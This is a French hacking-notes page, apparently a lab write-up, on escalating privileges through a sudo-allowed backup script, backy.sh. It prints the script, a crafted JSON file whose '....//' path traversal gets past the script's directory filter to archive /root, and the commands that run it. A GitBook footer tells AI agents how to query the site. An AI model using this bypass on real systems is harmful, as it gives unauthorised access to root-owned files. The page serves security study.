> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/sudoers/sudo-backy.sh-script-linux-privilege-escalation.md).

# Sudo script backy.sh - élévation de privilèges Linux

## Ce que c’est

L’élévation de privilèges sudoers commence par les commandes qu’un utilisateur peut exécuter via `sudo`. Des binaires mal configurés, des arguments de script non sécurisés, la gestion des liens symboliques et des versions vulnérables de sudo peuvent transformer des droits sudo limités en un shell root. Cette page spécifique se concentre sur **Sudo - backy.sh (script)** et maintient le flux d’exploitation pratique : identifiez la condition, validez-la en toute sécurité, puis exécutez la charge utile minimale nécessaire pour prouver l’impact.

## Énumération

Commencez par confirmer le contexte local et la mauvaise configuration exacte avant d’exécuter la voie d’exploitation.

```bash
sudo -l
sudo --version
```

## Exemples

Nous apprenons que `martin` peut exécuter `/usr/bin/backy.sh` en tant que root.

```bash
sudo -l
```

<figure><img src="/files/cebc60c560f2bc9349dbd3245fe6b1ce02d2d709" alt=""><figcaption></figcaption></figure>

**Le script vérifie :**

* Que le fichier JSON donné existe,
* Que chaque chemin dans `directories_to_archive` se trouve sous `/var/` ou `/home/`,
* Supprime `../` les séquences via `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Utilisation : $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Erreur : le fichier '$json_file' est introuvable."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Erreur : $dir n'est pas autorisé. Seuls les répertoires sous /var/ et /home/ sont autorisés."
        exit 1
    fi
done

/usr/bin/backy "$json_file"
```

**Contournement :**

Un `pwned.json` le fichier est configuré :

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

Implémentation :

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="/files/9b9afbb3a2ddf3b8c6e4c9a8413ce4a815677220" alt=""><figcaption></figcaption></figure>

Décompression :

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/sudoers/sudo-backy.sh-script-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
